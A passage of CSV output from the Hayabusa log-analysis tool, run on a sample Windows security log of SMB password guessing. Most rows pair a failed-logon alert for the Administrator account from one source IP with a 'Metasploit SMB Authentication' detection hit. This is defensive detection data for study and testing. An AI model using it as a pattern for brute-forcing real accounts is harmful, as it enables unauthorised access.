Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RhyaAhYB78nbh1Ig : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.416 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MIJU9xbr1klIvvdE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.462 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.506 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qLKVR3mW3g3utO4X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.506 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.544 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aNm4tVG8bV7e9gbB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.544 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JtU0PCr9K5DXFYV2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.622 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CH3BWNPEWlw52Gb6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.622 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vQTYqFKBz6YEWhF6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.660 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.708 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qkj3u8ODgLD7xQ5R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.708 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.758 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r9uyze1uO0zuNNUM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.758 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.803 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UmL15i3edXHcUamI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.803 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x7xjFRjv9rDhiXJ6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.840 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.880 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6BmQhVEv8g7EKu1F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.880 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: upOMmG87cDO1NFg0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tO55KfkORhxFORvF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:02.963 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D64wDbqkqmzWuUSa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sIDgNIlGA0cOkBOI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.082 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i0kXPQ6s7CGe4QGA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.082 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HW5jP389jmqSkzF1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.186 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: enhsof25BdDPcI2c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.186 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4acsPMLUJRrT7mmL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.228 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.272 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hi1dzny6hpyr5N3d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.272 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.305 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RlPVBSnDMlE0QZaJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.305 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: th72TwMoRXtDVWge : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.387 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KGTTiJSkErjzoUUC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.387 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xyzZwNLltF0cYnai : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gYWVQ6mCqyBfDm3m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.464 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rg2x2lv9JeS5Bb6l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.505 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fU28NKC3WYxFGbMN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.536 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EUWDXgnogGDXizWj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXhAtnNcQKOIsuGS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.672 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cKfrJwI3OGdjL4af : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.672 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VdekC160hU7YzrK9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: enOBuzd6jwu8rZCH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.773 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eAjLjDlZSps5D49t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.812 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rY6CONLBVygSTnY5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.844 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.883 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6FIHgz2yqqbD9zfV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.883 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d82RRXgSmZdnfa8I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.968 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xA3ZWnWc9CoGeKpm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:03.968 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FvSYKi8KvEtnmSbs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IvxXI1u0AwtNHNSU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OFIy6Cps3Rm87Kqf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.135 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: slL3aPBnZl3lVJst : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.135 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.171 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: O98P1oP3AU4lZp2D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.171 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EZZ7wIJNZ0CG7fMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.217 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.268 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7RhwHCqXQytvcaom : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.268 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xumaxbBEMZqL6pPO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.309 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ur1yZIwgB3ecNJGw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:04.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 